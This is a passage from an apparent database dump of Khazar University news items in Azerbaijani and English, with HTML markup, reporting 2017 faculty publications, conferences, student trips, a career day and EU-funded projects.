href=\"https://azertag.az/xeber/Vusal_Qasimli_Azerbaycanda_2017_ci_il_sabitlesme_2018_ci_il_ise_iqtisadi_inkisaf_ili_kimi_tarixe_dusecek-1122236/\">https://azertag.az/xeber/Vusal_Qasimli_Azerbaycanda_2017_ci_il_sabitlesme_2018_ci_il_ise-iqtisadi_inkisaf_ili_kimi_tarixe_dusecek-1122236/</a>.</p><p><br></p><p><img src=\"/files/economics/o_1c1p85klu100k9de1nq2cjktqhh.JPG\" style=\"width:200px;height:163px;margin:7px 10px 7px 7px;float:left\"></p><p><a href=\"http://www.khazar.org/files/economics/o_1c1p85klv7je1lrd1645abtqo1i.JPG\"><img src=\"/files/economics/o_1c1p85klv7je1lrd1645abtqo1i.JPG\" style=\"width:200px;height:151px;margin:7px 10px 7px 7px;float:left\"></a>&nbsp;<img src=\"/files/economics/o_1c1p85klvt45p9m6o3apicqqj.jpg\" style=\"width:200px;height:132px;margin:7px 10px 7px 7px;float:left\"></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"http://www.khazar.org/files/economics/o_1c1p85klvcqtsqe1duk11io1of5m.JPG\" style=\"width:200px;height:129px;margin:7px 10px 7px 7px;float:left\"><img src=\"http://www.khazar.org/files/economics/o_1c1p85klvps7pjh1v4d1j2q1ddgl.JPG\" style=\"width:200px;height:132px;margin:7px 10px 7px 7px;float:left\"><a href=\"http://www.khazar.org/files/economics/o_1c1p85klv1pak8hjsbpb131hpsk.JPG\"><img src=\"/files/economics/o_1c1p85klv1pak8hjsbpb131hpsk.JPG\" style=\"width:200px;height:119px;margin:7px 10px 7px 7px;float:left\"></a></p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"http://www.khazar.org/files/economics/o_1c1p85klvus211rl1pqapt7188mo.JPG\" style=\"width:200px;height:132px;margin:7px 10px 7px 7px;float:left\"><a href=\"http://www.khazar.org/files/economics/o_1c1p85klvmcci08112mi631aiin.JPG\"><img src=\"/files/economics/o_1c1p85klvmcci08112mi631aiin.JPG\" style=\"width:200px;height:132px;margin:7px 10px 7px 7px;float:left\"></a></p><p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><br><p><span style=\"font-weight:normal\">08&nbsp;Dekabr 2017</span>  <br></p><h3 style=\"text-align:left\">İqtisadiyyat və menecment fakültəsinin əməkdaşının məqaləsi Scopus indeksli jurnalda</h3><p>Xəzər Universiteti İqtisadiyyat və menecment fakültəsinin dekan müavini Dr. Şəhriyar Muxtarovun “<em>The Relationship between Energy Consumption and Economic Growth: Evidence from Azerbaijan</em>” adlı məqaləsi “International Journal of Energy Economics and Policy” jurnalının 2017-ci il 6-ci sayı, 7-ci buraxılışında çap edilmişdir. Sözü gedən jurnal SCOPUS kimi nüfuzlu&nbsp;məlumat bazalarında indekslənir.Məqalədə Azərbaycanda enerji istehlakı və iqtisadi artım arasındakı əlaqə VAR modeli çərçivəsində Toda-Yamamoto səbəbiyyət testi vasitəsilə qiymətləndirilmişdir. Məqalə nəticələri dəyişənlər arasında ikitərəfli səbəbiyyət əlaqəsinin olduğunu ortaya çıxarmışdır.</p><p>Məqaləni bu link vasitəsilə oxumaq olar:&nbsp;</p><p><a href=\"http://www.econjournals.com/index.php/ijeep/article/view/5644\">http://www.econjournals.com/index.php/ijeep/article/view/5644</a></p><p><br></p><h3 style=\"text-align:left\"><hr noshade=\"noshade\" style=\"width:100%;height:1px\"></h3><p><span style=\"font-weight:normal\">01 Dekabr 2017</span></p><h3 style=\"text-align:left\">“Kapital bazarları vasitəsilə maliyyələşmə və listinq” mövzusunda təlim</h3><p>2017-ci il dekabrın 1-də Xəzər Universiteti İqtisadiyyat və menecment fakültəsi Maliyyə Bazarlarında Nəzarət Palatasının Təlim və Maarifləndirmə Mərkəzi ilə birlikdə fakütlənin tələbələri üçün “Kapital bazarları vasitəsilə maliyyələşmə və listinq” mövzusunda təlim keçirdi.&nbsp;</p><p>Təlimdə kapital bazarının iştirakçıları və alətləri, investisiya qiymətli kağızları, kapital bazarlarında maliyyələşmə, investisiya xidmətlərinin növləri və emitentlərin Bakı Fond Birjasında listinqinə dair nəzəri və praktiki mövzuları əhatə edən təqdimat ilə çıxış edən mütəxəssislər seminarda iştirak edən tələbələrin çoxsaylı suallarını cavablandırdılar. İnteraktivlik və diskussiyalarla zəngin olan tədbirin ən aktiv iştirakçıları Maliyyə Bazarlarına Nəzarət Palatası tərəfindən sertifikatlarla təltif edildilər.</p><p><br></p><p><a href=\"http://www.khazar.org/files/economics/o_1c0j8cpar1ir02th1ltchvs93vl.JPG\"><img src=\"/files/economics/o_1c0j8cpar1ir02th1ltchvs93vl.JPG\" style=\"width:200px;height:160px;margin:7px 10px 7px 7px;float:left\"></a><a href=\"http://www.khazar.org/files/economics/o_1c0j8cpar1ir02th1ltchvs93vl.JPG\"></a><a href=\"http://www.khazar.org/files/economics/o_1c0j8cpareh310p2bp31eid9b7j.JPG\"><img src=\"/files/economics/o_1c0j8cpareh310p2bp31eid9b7j.JPG\" style=\"width:200px;height:160px;margin:7px 10px 7px 7px\"></a>&nbsp; &nbsp; &nbsp;&nbsp;<a href=\"http://www.khazar.org/files/economics/o_1c0j8cpar125o159h1nm8gvm11jim.JPG\"><img src=\"/files/economics/o_1c0j8cpar125o159h1nm8gvm11jim.JPG\" style=\"width:200px;height:160px;margin:7px 10px 7px 7px;float:left\"></a><br><br></p><p><a href=\"http://www.khazar.org/files/economics/o_1c0j8cpar1kl335kp11uod1eh3k.JPG\"><img src=\"/files/economics/o_1c0j8cpar1kl335kp11uod1eh3k.JPG\" style=\"width:200px;height:160px;margin:7px 10px 7px 7px;float:left\"></a></p><a href=\"http://www.khazar.org/files/economics/o_1c0j8cpas4rn1bsq19he1je11nm8o.JPG\"><img src=\"/files/economics/o_1c0j8cpas4rn1bsq19he1je11nm8o.JPG\" style=\"width:200px;height:160px;margin:7px 10px 7px 7px;float:left\"></a><a href=\"http://www.khazar.org/files/economics/o_1c0j8cpas25g1erp1rgqiv11kaqp.JPG\"><img src=\"/files/economics/o_1c0j8cpas25g1erp1rgqiv11kaqp.JPG\" style=\"width:200px;height:160px;margin:7px 10px 7px 7px;float:left\"></a><br><br><br><br><br><br><br><br><br><br><br><a href=\"http://www.khazar.org/files/economics/o_1c0j8cpasol21rh11haf1e032q.JPG\"><img src=\"/files/economics/o_1c0j8cpasol21rh11haf1e032q.JPG\" style=\"width:200px;height:160px;margin:7px 10px 7px 7px;float:left\"></a><a href=\"http://www.khazar.org/files/economics/o_1c0j8cpasle3ajap9uhq167pr.JPG\"><img src=\"/files/economics/o_1c0j8cpasle3ajap9uhq167pr.JPG\" style=\"width:200px;height:160px;margin:7px 10px 7px 7px;float:left\"></a><a href=\"http://www.khazar.org/files/economics/o_1c0j8cpasf70le9l15194n1kmrs.JPG\"><img src=\"/files/economics/o_1c0j8cpasf70le9l15194n1kmrs.JPG\" style=\"width:200px;height:160px;margin:7px 10px 7px 7px;float:left\"></a><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><br></p><p><img src=\"/files/letters/poster-sehiyye4-n.jpg\" style=\"width:400px;height:588px\"></p>'),(4211,2476,'az','“Xəzər”in departament müdiri Parisdə konsert proqramı ilə çıxış etmişdir','İyulun 13-də Azərbaycanın Fransadakı səfirliyi, Parisdəki Azərbaycan Mədəniyyət...','<p>İyulun 13-də Azərbaycanın Fransadakı səfirliyi, Parisdəki Azərbaycan Mədəniyyət Mərkəzi və Azərbaycanın Dostları Assosiasiyasının təşkilatçılığı ilə Azərbaycan Mədəniyyət Mərkəzində Fransanın milli bayramı - Bastiliyanın alınması günü münasibətilə tədbir keçirilmişdir. Tədbirdə Azərbaycanın Fransadakı səfirliyinin və UNESKO-nun əməkdaşları, senatorlar və şəhər ictmaiyyətinin nümayəndələri iştirak etmişlər. Azərbaycanın Fransadakı səfirliyinin müşaviri Nigar Hüseynova tədbirdə çıxış edərək, Azərbaycan - Fransa əlaqələrinin yüksək səviyyədə olmasından danışmışdır.</p><p>Tədbirin bədii hissəsində Xəzər Universitetinin Musiqi və incəsənət departamentinin müdiri,əməkdar müəllim, pianoçu Zülfiyyə Sadıqova çıxış etmişdir.</p>'),(3775,2201,'az','“Xəzər Universiteti 2 milyon dollarlıq qrantı itirdi”','2017-ci il mayın 19-da Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının sputnik.az xəbər saytına verdiyi məlumat əsasında bir çox...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil mayın 19-da Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlının <strong><em>sputnik.az</em></strong> xəbər saytına\r\nverdiyi məlumat əsasında bir çox xəbər saytları Xəzər Universitetinin qazana\r\nbiləcəyi qrantların başqa ölkələrə yönləndirilidiyi ilə bağlı xəbər\r\nyayınlamışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Materialı tam şəkildə bu linklər vasitəsilə\r\noxumaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"https://ru.sputnik.az/science/20170519/410334270/universitet-hazar-dva-milliona-dollarov.html\">https://ru.sputnik.az/science/20170519/410334270/universitet-hazar-dva-milliona-dollarov.html</a>;\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://baku.ws/88890-1azerbaydzhanskiy-universitet-lishili-dvuh-millionov-dollarov.html\">http://baku.ws/88890-1azerbaydzhanskiy-universitet-lishili-dvuh-millionov-dollarov.html</a>;\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://minval.az/news/123689681#Kalibri\">http://minval.az/news/123689681</a>.</p>'),(3776,2202,'az','“Məntiq yarışması”nın final mərhələsini Xəzər Universiteti təşkil edəcək','2017-ci il iyunun 1-i saat 12:00-da Xəzər Universiteti “Universitet – məktəb əməkdaşlığı” layihəsi çərçivəsində...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2017-ci il iyunun 1-i saat 12:00-da Xəzər Universiteti “Universitet –\r\nməktəb əməkdaşlığı” layihəsi çərçivəsində 232 saylı məktəbin təşəbbüsü ilə\r\nSuraxanı rayon orta məktəblərinin 6-7-ci sinif şagirdləri arasında 3 turda\r\nkeçirilən “Məntiq yarışması”nın final mərhələsini təşkil edəcək. Finalda hər\r\nbirində 6 nəfər olmaqla, 7 məktəbin komandası yarışacaq. Sonda iştirakçılar\r\nsertifikat, qaliblər isə diplomlarla təltif olunacaqlar.</p>'),(3777,2203,'az','Təhsil fakültəsinin müəllim və tələbələri Qobustana səfər etdilər','2017-ci il mayın 21-də Xəzər Universitetinin Təhsil fakültəsinin müəllim və tələbələri Azərbaycanın və dünyanın nadir tarixi-mədəniyyət abidə kompleksi olan Qobustana yollandılar...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:13.5pt;line-height:normal\"\"=\"\">2017-ci il mayın 21-də Xəzər Universitetinin Təhsil fakültəsinin müəllim\r\nvə tələbələri Azərbaycanın və dünyanın nadir tarixi-mədəniyyət abidə kompleksi\r\nolan Qobustana yollandılar. Səfər Tarix və Arxeologiya departamentinin müdiri\r\nRoza Arazovanın dəstəyi və departamentin müəllimi Orxan Zamanovun təşəbbüsü ilə\r\nbaş tutdu. Səfərin məqsədi universitetin birinci kurs tarix müəllimliyi\r\nixtisasının tələbələrinin dünyagörüşü, tarixi bilikləri və Azərbaycanın maddi-mədəni\r\nirsi ilə bilavasitə tanışlığını təmin etmək idi. Eyni zamanda, imtahan ərəfəsində\r\ntələbə və müəllimlərin birgə istirahətini təşkil etmək və qarşılıqlı fikir\r\nmübadiləsinə imkan yaratmaq idi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:13.5pt;line-height:normal\"\"=\"\">Xəzər Universitetinin tələbələrinə Böyükdaş dağında qədim mağaralar,\r\nqayaüstü təsvirlər, ibtidai insanın ocaq və yaşayış yeri, landşaftın özünəməxsusluğu\r\nnümayiş olundu, daha sonra isə xüsusi olaraq, yeni yaradılmış interaktiv muzeydə\r\nbələdçi tərəfindən dünya və Azərbaycanın petroqlifləri, onların öyrənilməsi və\r\ncoğrafiyası, bölgənin qədim iqlimi və landşaftı, fauna və florası, ibtidai\r\ninsanın fəaliyyəti və yaşamı haqqında geniş ekskursiya təşkil olundu.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:13.5pt;line-height:normal\"\"=\"\">Səfər qısa istirahət saatı və əyləncəli oyunlar ilə başa çatdı.</p>'),(3778,2204,'az','Professor Hamlet İsaxanlı ilə müsahibənin dördüncü - sonuncu hissəsi “525-ci qəzet”də çap olunub','Xəbər verdiyimiz kimi, Waqas Əhmədin Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlıdan aldığı müsahibə “525-ci qəzet”in 29 aprel...','<p>Xəbər verdiyimiz kimi, Waqas Əhmədin Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlıdan aldığı müsahibə “525-ci qəzet”in 29 aprel 2017-ci il tarixli\r\nnömrəsindən etibarən hissə-hissə çap edilməyə başlanmışdı.</p>\r\n<p>Müsahibənin dördüncü - sonunçu&nbsp; hissəsi qəzetin 20 may 2017-ci il tarixli\r\nnömrəsində dərc olunmuşdur.</p>\r\n<p>Həmin hissəni bu link vasitəsilə oxumaq\r\nolar:</p>\r\n<p><a href=\"http://525.az/site/?name=xeber&amp;news_id=79594#gsc.tab=0\">http://525.az/site/?name=xeber&amp;news_id=79594#gsc.tab=0</a></p>'),(3779,2205,'az','Hamlet İsaxanlı Kamal Əhməd haqqında xatirələrini danışdı','2017-ci il mayın 19-da Xalq Bankın həyata keçirdiyi “Xalq əmanəti” layihəsinin növbəti – 15-ci nəşri Azərbaycan rəssamı Kamal Əhmədin həyat və yaradıcılığına həsr olunmuş...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil mayın 19-da Xalq Bankın həyata keçirdiyi “Xalq əmanəti” layihəsinin növbəti\r\n– 15-ci nəşri Azərbaycan rəssamı Kamal Əhmədin həyat və yaradıcılığına həsr\r\nolunmuş kitab-albomdan ibarət idi. Kitab-albomun təqdimat mərasimində Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı çıxış edərək, Kamal Əhməd haqqında xatirələrini paylaşmış və\r\nonun yaradıcılığı haqqında fikirlərini söyləmişdir.&nbsp;</p>'),(3782,2198,'en','“Dialect Festival” in the Media','As it was reported, on May 17, 2017, “Dialect Festival” was held in the “Marble” hall of Khazar Unversity within the framework of open lesson program on the subject “Introduction...','<p style=\"\" margin-top:15.0pt;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;line-height:normal;background:white\"\"=\"\">As it was reported, on May 17, 2017, “Dialect&nbsp;Festival”\r\nwas held in the “Marble” hall of Khazar Unversity within the framework of open\r\nlesson program on the subject “Introduction to&nbsp; Dialectology” of Ilahe\r\nGurbanova, PhD in philology, instructor of the department of Azerbaijani\r\nLanguage and Literature. Some media outlets published articles about this\r\nevent. The articles are available at the following links:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://xeber365.com/haber-x-z-r-universitetind-dialekt-festivali-kecirilib---ilk-d-f-7559.html\">http://xeber365.com/haber-x-z-r-universitetind-dialekt-festivali-kecirilib---ilk-d-f-7559.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://axar.az/news/hadise/174174.html\">http://axar.az/news/hadise/174174.html</a>.</p>'),(3783,2190,'en','Final conference of \"The Establishment of Foundation for the Integration of Disabled People into HEIs of Azerbaijan\" (ESFIDIP) Tempus Project was Held.','On May 15-16, 2017, the final conference of \"The Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan\" (ESFIDIP)   Tempus project was held...','<p>On May 15-16, 2017, the\r\nfinal conference of \"The Establishment of a Foundation for the Integration\r\nof Disabled People into HEIs of Azerbaijan\" (ESFIDIP)&nbsp;&nbsp; Tempus project was held at Khazar University.\r\nThe conference consisted of two sessions. On the first day, only the partners\r\nof the project – Khazar University, University of Lodz, University of\r\nMacedonia, University of Graz, Lankaran State\r\nUniversity, Ganja State University, Sumgayit State University, Azerbaijan State University of Economics, Nakhchivan State University,The Research and Training Center for\r\nLabor and Social Problems and members of the Union of Disabled People\r\nOrganizations participated\r\nat the conference. During the conference, partner universities exchanged their\r\nexperiences about the works they have done and the results they have got within\r\nthe framework of the project. Later, they discussed the continuity of the project and\r\nfuture cooperation.</p>\r\n<p>The second day of the conference was held in the\r\n\"Marble\" hall of Khazar University. Members of different\r\nuniversities, schools, organisations and students participated in the\r\nconference. Professor Hamlet Isaxanli, the founder of Khazar University and\r\nChairman of its Board of Directors and Trustees, started the conference. He greeted the guests\r\nand made a speech about the importance of the project. Dimitrios\r\nTsoungas, Ambassador of Greece to Azerbaijan also spoke at the conference. Anar\r\nKhalilov, a member of the Ministry of Education of&nbsp; Azerbaijan, spoke about the activities of the\r\nMinistry of Education to create opportunities for education of &nbsp;disabled people. Huseyn Humbatov, &nbsp;member of theResearch and Training\r\nCenter for Labor and Social Problems and Davud Rahimli, head of the&nbsp; Union of Disabled People Organizations also\r\nspoke on the activities of their organisation on the topic. </p>\r\n<p>Rima Mammadova, the director of the \"The\r\nEstablishment of a Foundation for the Integration of Disabled People into HEIs\r\nof Azerbaijan\" \" (ESFIDIP) Tempus project, gave detailed information\r\nregarding the project to the participants. She mentioned the difficulties they encountered\r\nwithin the implementation\r\nperiod of the project and their success. Members of the University of Lodz and\r\nthe University of Graz gave detailed information to the participants about the\r\nexperiences of their universities and taken actions\r\nregarding this area in their countries.</p>\r\n<p>Representatives of Ganja State University and\r\nNakhchivan State University spoke about the taken actions in the region and\r\ntheir universities regarding the topic as well. At the end of the event,\r\nNurlana Jafarova and Orkhan Adigozel,&nbsp;\r\nstudents with disabilities from Khazar University and the Azerbaijan\r\nState University of Economics, made speeches about their success despite the\r\nobstacles they have faced.</p>\r\n<p>We would like to note that, \"The Establishment\r\nof a Foundation for the Integration of Disabled People into HEIs of\r\nAzerbaijan\" \" (ESFIDIP)&nbsp;&nbsp;\r\nTempus project started in December 2013 and it will end conclude on May\r\n31, 2017. The project is funded\r\nwithin the framework of\r\nthe European Commission Tempus program and managed by Khazar\r\nUniversity.</p>'),(3784,2197,'en','Khazar Students at Institute of Professional Development of Education Workers','On May 17, 2017, the students of the School of Education attending the course of Class Management were on an excursion in the Institute of Professional Development of Education...','<p>On May 17, 2017, the\r\nstudents of the School of Education attending the course of Class Management were\r\non an excursion in the Institute&nbsp;of&nbsp;Professional\r\nDevelopment&nbsp;of&nbsp;Education Workers. Vafa Yagublu, the director of the Institute&nbsp;of&nbsp;Professional\r\nDevelopment&nbsp;of&nbsp;Education Workers and deputy director Nezaket\r\nMehdiyeva talked with students, gave information about the history, functions\r\nand projects of the institute. The institute administration highly appreciated\r\nthis excursion and considered it the onset of the relations between Khazar\r\nUniversity and the Institute&nbsp;of&nbsp;Professional\r\nDevelopment&nbsp;of&nbsp;Education Workers. Vafa Yagublu spoke about the modern\r\ntrends in the educational system of Azerbaijan and called the students to join\r\ntheir projects. </p>\r\n<p>At the end, the students\r\nshared their impressions as well.</p>'),(3785,2187,'en','Khazar University Staff Member at International Conference ',' On May 13, 2017,Melek Kerimova, Assistant Dean of the School of Humanities and Social Sciences, Director of Khazar Psychological Services Center, participated at the international...','<p><strong>&nbsp;</strong>On May 13, 2017,<strong></strong>Melek\r\nKerimova, Assistant Dean of the School of Humanities and Social Sciences,\r\nDirector of Khazar Psychological Services Center, participated at the\r\ninternational conference “Quest For Beauty In Science, Culture And Arts\".\r\nIt was organised by International Rating\r\nAcademia and Kepez Municipality. Melek Kerimova presented her thesis entitled\r\n\" Masters and their personal psychological characteristics\". The\r\nresearch work investigating art, personal qualities of masters, the influence\r\nof art on personality and personalities reflection in artworks was greeted with\r\ngreat interest. </p>\r\n<p>At the end, Melek Kerimova was presented with a\r\ncertificate.</p>'),(3786,2188,'en','Khazar Staff Member at Ordu University','On May 11, 2017, Melek Kerimova, Assistant Dean of the School of Humanities and Social Sciences, Director of Khazar Psychological Services Center, participated at the 9th International...','<p>On May 11, 2017, Melek Kerimova, Assistant Dean of\r\nthe School of Humanities and Social Sciences, Director of Khazar Psychological\r\nServices Center, participated at the 9th International Congress of Educational\r\nResearch&nbsp;coordinated by Ordu University, Turkey and ERA (Education Research\r\nAssociation). She introduced her research work entitled “Connection between\r\nInternet Addiction of University Students and its Psychological Symptoms”. The\r\nresearch work conducted among the university students investigates the\r\nconnection between internet addiction and various sub-scales (somatization,\r\nobsession, depression, anxiety, phobia, paranoia, psychoticism). The\r\npresentation was greeted with great interest and suggestions were made on\r\nconducting intercultural researches.</p>\r\n<p>At the end, Melek Kerimova was presented with a\r\ncertificate and a book covering the delivered speeches. </p>\r\n<p>1254 researchers from 12 countries took part at the\r\nNinth International Congress of Educational Research organised by Ordu\r\nUniversity and ERA (Education Research Association) in Ordu, Turkey, on May\r\n11-14.</p>'),(3787,2206,'az','Xəzər Universitetində Amerikada təhsillə bağlı təqdimat keçirildi','2017-ci il mayın 18-də beynəlxalq maliyyə üzrə professor, PhD proqram direktoru Dr. C.Bulent Aybar və Amerikada Təhsil üzrə məsləhətçi Leyla Həmidova Amerika Birləşmiş Ştatlarında...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil mayın 18-də beynəlxalq maliyyə üzrə professor, PhD\r\nproqram direktoru Dr. C.Bulent Aybar və Amerikada Təhsil üzrə məsləhətçi Leyla\r\nHəmidova Amerika Birləşmiş Ştatlarında ali təhsil almaq mövzüsunda Xəzər\r\nUniversitetində təqdimat keçirdilər. Görüşdə Xəzər Universitetinin bakalavr və\r\nmagistr tələbələri və həmçinin, İngilis dili və ədəbiyyatı departamentinin müəllimləri\r\niştirak edirdilər. Leyla Həmidova iştirakçılara Amerika təhsil sistemi haqqında\r\nməlumat verdi və Amerikada magistr və Phd dərəcələri almaq üçün olan\r\nimkanlardan danışdı.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Təqdimatdan sonra tələbələri\r\nmaraqlandıran suallar əsasında müzakirə aparıldı.&nbsp;</p>'),(3788,2207,'az','KPMG-Azərbaycan şirkəti Xəzər Universiteti Karyera Günü keçirdi','2017-ci il mayın 22-də KPMG-Azərbaycan şirkəti Xəzər Universiteti “Neftçilər” korpusunda Karyera Günü keçirdi.Karyera Günündə maliyyə, mühasibat...','<p>2017-ci\r\nil mayın 22-də KPMG-Azərbaycan şirkəti Xəzər Universiteti “Neftçilər”\r\nkorpusunda Karyera Günü keçirdi.</p>\r\n<p>Karyera\r\nGünündə maliyyə, mühasibat uçotu və audit, biznesin idarə edilməsi ixtisasları\r\nüzrə təhsil alan sonuncu kurs tələbələri KPMG-Azərbaycanın audit və vergi\r\ndepartamentlərindəki vakansiyalar üçün onlayn rəqəmsal və məntiq testində\r\niştirak etdilər. </p>\r\n<p>Seçim\r\nprosesinin ilk mərhələsi olan testin nəticələri yerindəcə açıqlandı. Testdən\r\nuğurla keçən dörd tələbə növbəti müsahibə mərhələsinə dəvət olundu.</p>'),(3789,2208,'en','4th Meeting of NIZAMI project','Two representatives of Khazar University – Dr. Irada Khalilova, Head of Biology department, And Raziya Isayeva, Development Director have participated in the next NIZAMI ERASMUS...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Two representatives of Khazar University\r\n– Dr. Irada Khalilova, Head of Biology department, And Raziya Isayeva,\r\nDevelopment Director have participated in the next NIZAMI ERASMUS + Capacity\r\nBuilding Project meeting held at Nakhchivan State University on 16-19<sup>th</sup>\r\nof May, 2017. All members of NIZAMI project have participated in the meeting.\r\nThe meeting was devoted to the discussion of workpackages 2 to 9, and three and\r\na half day of discussions were very intensive and fruitful. Presentation of\r\nHigh Standards in Doctoral Education, Thesis Charter, National Management\r\nPortal, Development of Professional Skills, Communication, Quality Plan were\r\ndiscussed in details. Responsible universities for workpackages presented their\r\npiece of job and it followed with long discussions. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">The head of National ERASMUS + Office in\r\nAzerbaijan, Mr. Parviz Bagirov and his assistant Aygun Rustemli have also\r\nparticipated in the first two days of the meeting and held the first monitoring\r\nof the project.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">For the further development of the\r\nproject every member was assigned a home work, which must be ready and\r\npresented during the next NIZAMI meeting in Masaryk University, Check Republic.</p>'),(3790,2209,'az','“Xəzər Humanitar və Sosial Elmlər Jurnalı” yenidən həm elektron, həm də kağız çap formatında çıxır','Khazar Journal of Humanities and Social Sciences / “Xəzər Humanitar və Sosial Elmlər Jurnalı” Azərbaycanda Humanitar və Sosial Elmlər sahəsində Thomson Reuters’Web of Science...','<p style=\"\" text-align:justify;line-height:12.0pt;background:white\"\"=\"\">Khazar Journal of Humanities and Social Sciences / “Xəzər Humanitar və\r\nSosial Elmlər Jurnalı” Azərbaycanda Humanitar və Sosial Elmlər sahəsində\r\nThomson Reuters’Web of Science elmi platformasına daxil olan yeganə jurnaldır.\r\nJurnal humanitar və sosial elmlər sahəsində ciddi elmi axtarışların, orijinal və\r\naktual məqalələrin nəşrinə üstünlük verir. Eyni zamanda jurnalda konfrans,\r\nsimpozium materialları, kitab şərhlərinə də yer verilir. Əsas məqsəd elmdə baş\r\nverən yenilikləri beynəlxalq ictimaiyyətə çatdırmaq, yerli və xarici alimlər\r\narasında elmi ünsiyyət qurmaqdır.</p>\r\n<p style=\"\" text-align:justify;line-height:12.0pt;background:white\"\"=\"\">Jurnalın redaksiya heyətinə müvafiq sahələr üzrə dünyada nüfuzu olan\r\nalimlər daxildir.Təqdim olunan məqalələr ilk növbədə redaksiya heyətinin ciddi\r\nnəzarətindən keçirilir və ən az iki rəyə göndərilir. Jurnalın redaksiya heyətinə&nbsp;\r\ntəqdim olunan bütün elmi məqalələr xarici mütəxəssislərdən ibarət “anonim rəyçi\r\nqrupları” tərəfindən qiymətləndirilir. &nbsp;Jurnalın həm kağız, həm də\r\nelektron nəşr versiyaları vardır</p>\r\n<p>Məlumat üçün bildirik ki,&nbsp;<em>Khazar Journal of Humanities and\r\nSocial Sciences&nbsp;</em><strong>/ “</strong>Xəzər Humanitar və Sosial Elmlər Jurnalı”\r\n2017-ci ildən etibarən yenidən iki formada – həm elektron, həm də kağız çap\r\nformatında çıxır. Qeyd etmək lazımdır ki, bu ildən etibarən jurnalın formatında\r\nvə üz qabığında da bir sıra dəyişikliklər olmuşdur. Jurnal haqqında əlavə məlumatı\r\nvə qaydaları jurnalın rəsmi saytından əldə edə bilərsiniz&nbsp;(<a href=\"http://www.jhss-khazar.org\">www.jhss-khazar.org</a>).</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><em>Khazar Journal of\r\nHumanities and Social Sciences&nbsp;</em><strong>/ “</strong>Xəzər Humanitar və Sosial\r\nElmlər Jurnalı”nın ayrıca elektron, ayrıca çap formatına və eləcə də, hər\r\nikisinə istənilən sayda, o cümlədən ayrı-ayrı abunə yazılmaq mümkündür.</p>\r\n<p>Abunə yazılmaq barədə əlavə məlumatı&nbsp;<a href=\"mailto:submissions@khazar.org\">submissions@khazar.org</a>&nbsp;elektron\r\nünvanına yazmaqla əldə etmək olar.</p>'),(3791,2210,'az','Elnurə Əzizova beynəlxalq simpoziumda iştirak etdi','2017-ci il mayın 19-dan 21-dək Xəzər Universitetinin Dillər və mədəniyyətlər departmentinin müəllimi dosent Elnurə Əzizova İstanbulda 29 Mayıs Universitetində keçirilən...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il mayın 19-dan 21-dək Xəzər Universitetinin Dillər və mədəniyyətlər\r\ndepartmentinin müəllimi dosent Elnurə Əzizova İstanbulda 29 Mayıs\r\nUniversitetində keçirilən “Osmanlı İstanbulu – V Beynəlxalq simpoziumu”nda\r\niştirak etdi. Elnurə Əzizova simpoziumda “Konstantinopolisin işğalından\r\nİstanbulun fəthinə: Milli-dini kimlik zəminində sovet və post-sovet Rusiya və\r\nAzərbaycan tarixçiliyində İstanbulun fəthinə baxışdakı dəyişiklik” adlı məruzə\r\nilə çıxış etdi.</p>'),(3793,2206,'en','Presentation on Education in America Held at Khazar University','On 18th May, 2017  Dr. C. Bulent Aybar, Professor of International Finance, Ph.d. Program Director and Leyla Hamidova, Education USA Adviser visited Khazar University to deliver...','<p>On 18<sup>th</sup> May, 2017 